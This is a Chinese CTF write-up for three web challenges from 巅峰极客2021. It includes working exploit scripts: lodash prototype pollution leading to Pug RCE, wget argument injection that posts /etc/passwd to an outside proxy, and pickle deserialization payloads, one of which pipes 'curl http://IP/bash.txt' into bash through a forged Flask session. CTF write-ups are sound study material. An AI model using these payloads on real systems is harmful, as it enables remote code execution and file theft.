巅峰极客2021

ezjs

题目内容:简单的个人空间系统

进度:node是啥,我听过吗🙄

非admin登录,?newimg=../../../../etc/passwd存在目录穿越,读文件,从package.json可知"lodash": "^4.17.15"存在原型链污染漏洞,但是由于不解析json且使用了express.urlencoded({ extended: false })不能传入对象,那么原型链污染的方法就成了传入POST数据(格局打开了

拿漏洞poc本地调一波

由于package.json的版本声明以^开头,所以在npm install时会自动更新小版本,因此会导致lodash更新到没有该漏洞的版本,需要将lodash的^删掉指定版本下载

然后就可以得到payload

username=tyskill&password=tyskill&"].__proto__["isadmin=tyskill&"].__proto__["debug=tyskill

成功污染session的isadmin和debug之后就是之前的一个漏洞https://github.com/pugjs/pug/issues/3312,这也是为什么源码定义了pretty属性但没有使用的原因吧

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://IP"

headers = {
	"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0",
	"Content-Type": "application/x-www-form-urlencoded"
}

# 污染 isadmin 和 debug 获得cookie
res = requests.post(url=url + "/login",
	data="username=tyskill&password=tyskill&\"].__proto__[\"isadmin=tyskill&\"].__proto__[\"debug=tyskill",
	allow_redirects=False,
	headers=headers
	)

cookie = res.headers["Set-Cookie"].split(";")[0].split("=")

# bug pretty RCE
requests.get(url=url + "/admin",
	params={"p": "');process.mainModule.constructor._load('child_process').exec('ping q8461g.dnslog.cn');_=('"},
	cookies={cookie[0]: cookie[1]}
	)

what_pickle

题目内容:find the flag.

进度:卡在了弹shell,整道题都靠队友输出

开了debug,获取部分源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
@app.route('/images')
def images():
    command=["wget"]
    argv=request.args.getlist('argv')
    true_argv=[x if x.startswith("-") else '--'+x for x in argv]
    image=request.args['image']
    command.extend(true_argv)
    command.extend(["-q","-O","-"])
    command.append("http://127.0.0.1:8080/"+image)
    image_data = subprocess.run(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    return image_data.stdout

输入有两个,wget参数和图片地址,图片地址没办法目录穿越,只能依靠wget参数作为入口点,通过代理获得文件流数据

/images?image=&argv=--post-file=/etc/passwd&argv=--execute=http_proxy=http://IP

然后就可以得到一些文件,接下来就是审计工作,看名字也知道是pickle反序列化,直接上pker

s=GLOBAL("config","notadmin")
s["admin"]="yes"
user=INST("config","user")
user.username="tyskill"
user.data="tyskill"
door=INST("config","backdoor",["__import__('os').system('ping http://IP')"])
return user

然后加进session打,后面弹shell和找flag好像还挺麻烦的

opcode

题目内容:听说pickle是一门有趣的栈语言,你会手写opcode吗?

进度:赛后出的,菜鸡落泪

imagePath参数任意文件读可以读到app.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtins

from flask.templating import render_template_string

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}
    def find_class(self, module, name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def loads(data):
    return RestrictedUnpickler(io.BytesIO(data)).load()


app = Flask(__name__)

app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"

@app.route('/admin', methods = ["POST","GET"])
def admin():
    if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):
        return "not admin"
    try:
        data = base64.b64decode(session['data'])
        if "R" in data.decode():
            return "nonono"
        pickle.loads(data)
    except Exception as e:
        print(e)
    return "success"

@app.route('/login', methods = ["GET","POST"])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    imagePath = request.form.get('imagePath')
    session['username'] = username + password
    session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))
    try:
        f = open(imagePath,'rb').read()
    except Exception as e:
        f = open('static/image/error.png','rb').read()
    imageBase64 = base64.b64encode(f)
    return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))

@app.route('/', methods = ["GET","POST"])
def index():
    return render_template("index.html")
if __name__ == '__main__':
    app.run(host='0.0.0.0', port='8888')

通过审计代码可以发现它定义了一个反序列化的模块限制,但是限制函数并没有使用,所以它定义了个寂寞。因此整个代码仅有的过滤就是R字符,参考https://eustiar.com/archives/673可以知道在无R下的RCE姿势:(还记了一种覆盖式的RCE这里不讨论,用不上)

\x80\x03(S'ls'\nios\nsystem\n.
\x80\x03(cos\nsystem\nS'whoami'\no.

这里不要盲目的使用payload,因为它pickle反序列化使用的是0号协议,该协议有什么特点呢?自己本地dumps一遍就知道了,然后就可以发现文章给的payload是3号协议的,所以我们需要修改,直接把\x80\x03删了就行。接下来就是payload一把梭了(不像what_pickle没给curl,这道题真TM友好)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import base64
import subprocess
import requests

url = "http://eci-2ze5jezzanh533j3tyf2.cloudeci1.ichunqiu.com:8888/admin"
headers = {}

data = b"(cos\nsystem\nS'curl http://IP/bash.txt|bash'\no."
data = base64.b64encode(data).decode()

cmd = f"""python flask_session_cookie_manager3.py encode -s \"y0u-wi11_neuer_kn0vv-!@#se%32\" -t \"{{'data': b'{data}', 'username': 'admin'}}\""""
result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
r = result.stdout.decode().strip("\r\n")

headers["Cookie"] = f"__jsluid_h=ce97926775f614e6078ec0586085a9dd; session={r}"

res = requests.get(url, headers=headers)
res.encoding="utf-8"
print(res.text)

eml

据说挺简单的,可惜根本没时间看

咕了,懒癌犯了

参考

https://eustiar.com/archives/673